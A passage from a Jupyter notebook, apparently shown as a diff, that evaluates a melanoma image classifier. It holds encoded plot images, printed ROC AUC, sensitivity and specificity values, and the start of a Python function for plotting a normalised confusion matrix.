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", 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" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "ROC AUC: 0.661\n" + ] + }, + { + "data": { + "image/png": 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BXr0yG49UTOvWraNBgwZKEpI2ZkaDBg1KvRdb6RLFe+/BJZeE5fvvj5cOF0kFJQlJt1T8zlWqRPH553D22bBpE9x6K1x/faYjEhEp+ypNovj2WzjttFAu/Cv+wXoAABHCSURBVKqrwkC2SEVXtWpVOnToQLt27Tj11FNZtmxZ/r7JkyfTrVs39t9/f1q2bMndd9+Nu+fv/+ijj8jKyqJNmzZ07NiR68vgX1bff/89l5bhywLr16+nd+/etGjRgi5dujB79uxi2y1btoxevXrRqlUrWrduzddff52/b8CAAbRq1Yq2bdvyl7/8BYCJEydy8cUXp+EniLh7uXp16tTJt9akSe677OIO7uee675p01YfQmSrTZkyJdMheO3atfOXL7zwQr/nnnvc3X3NmjXevHlzHzp0qLu7r1692k844QR/7LHH3N194sSJ3rx5c586daq7u+fm5voTTzxRqrFt3Lhxu4/Rq1cvHz9+fFo/c2s8/vjjfsUVV7i7+2uvveZnn312se0uvPBCf/bZZ93dff369b506VJ3d//888+9e/fuvm7dOnd3/+WXX/Lf0717d//555+LPV5xv3tAtm/j927Gv/i39rW1iWLmTPc99gg/6SmnuG/YsFVvF9lmBf9nDU/tlP6rJAUTxZNPPulXXnmlu7s/99xzfsEFFxRqO2PGDG/SpIm7u19wwQX+/PPPl3j8lStX+sUXX+zt2rXzAw44wAcPHrzZ57711lt+0UUXubv7RRdd5FdccYV37tzZr732Wt97773zvxTd3Vu0aOELFy70RYsWec+ePT0rK8uzsrJ81KhRm332ihUrfL/99stf/+abb/yQQw7xDh06eNeuXf3HH390d/d///vffuqpp/oxxxzjRx55pK9atcr79u3rBx98sHfo0MHfffddd3efNWuWH3744d6xY0fv2LGjjx49usSfvyTHHXecf/XVV+4eklSDBg08Ly+vUJtly5Z5s2bNNtvu7n7WWWf5p59+WuyxH374Yf/nP/9Z7L7SThQV+vbYBQtCufD58+Goo1QuXCqvTZs28dlnn+Vfppk8eTKdOnUq1Gbfffdl1apVrFixgkmTJiV1qenuu++mfv36TJw4EYClS5eW+J6cnBy++uorqlatyqZNm3jnnXfo27cv33zzDXvvvTe77bYb5557Ltdeey2HH344c+bM4fjjj2fq1KmFjpOdnU27du3y11u1asXIkSOpVq0aw4YN45ZbbuHtt98G4LvvvmPChAnssssu3HLLLXTr1o0XXniBZcuW0blzZ3r06MGuu+7Kp59+Ss2aNfnpp5/o06cP2dnZm8V/xBFHsHLlys2233///fTo0aPQtnnz5tG0aVMAqlWrRv369VmyZAkNCxSSmzVrFo0aNaJv37788MMPdOrUiUceeYTatWszffp0Ro4cya233krNmjW5//77OfjggwHIysqif//++ZejUqnCJopYufCZM6FTp1AuvFatTEcllZV7yW1SYe3atXTo0IF58+bRunVrji3lB4aGDRvG66+/nr++8847l/ies846i6pVqwLQu3dv7rrrLvr27cvrr79O79698487ZcqU/PesWLGCVatWUadOnfxtCxYsoFGjRvnry5cv56KLLuKnn37CzNi4cWP+vmOPPZZddtkFgE8++YQhQ4Zw//33A+E25jlz5rDHHnvQr18/xo8fT9WqVZk+fXqx8Y8cObLEn3Fr5Obm8t133zFgwAC6dOnCNddcQ//+/bn77rvJzc3lt99+Y8yYMYwdO5azzz6bmTNnYmbsuuuuzJ8/v1Rj2ZIKOZi9ahWcfHKYyrRVK/j4Y6hXL9NRiaRfrVq1GD9+PD///DPuzuOPPw5AmzZtGDduXKG2M2fOpE6dOtSrV4+2bdtutn9rFLxFs+g9/bVr185f7tq1KzNmzGDx4sW8++679OzZE4C8vDzGjBnD+PHjGT9+PPPmzSuUJGI/W8Fj33777RxzzDFMmjSJ999/v9C+gp/p7rz99tv5x54zZw6tW7fmoYceYrfdduOHH34gOzubDRs2FPuzHXHEEXTo0GGz17BhwzZru+eeezJ37lwgJITly5fToEGDQm2aNGlCkyZN6NKlCwC9evXiu+++y9/Xs2dPzIzOnTtTpUoVfv311/zzWitNf/1WuESxfj307AljxoRy4Z9+qnLhIjvuuCOPPvooDzzwALm5uZx33nmMGjUq/8tt7dq1/OlPf8q/jHHjjTdy77335v9VnZeXx1NPPbXZcY899tj85APxS0+77bYbU6dOJS8vj3feeWeLcZkZZ555Jtdddx2tW7fO/xI97rjjGDBgQH678ePHb/be1q1bM2PGjPz15cuXs+eeewIwcODALX7m8ccfz4ABA8IgLeHOqdj7GzduTJU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", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Melanoma Sensitivity: 0.7606837606837606\n", + "Melanoma Specificity: 0.5610766045548654\n" + ] + } + ], + "source": [ + "import seaborn as sns\n", + "from sklearn.metrics import roc_curve, auc, confusion_matrix\n", + "\n", + "def plot_confusion_matrix(y_test, y_pred):\n", + " cmn = confusion_matrix(y_test, y_pred)\n", + " # Normalise\n", + " cmn = cmn.astype('float') / cmn.sum(axis=1)[:, np.newaxis]\n", + " # print it\n", + " print(cmn)\n", + " fig, ax = 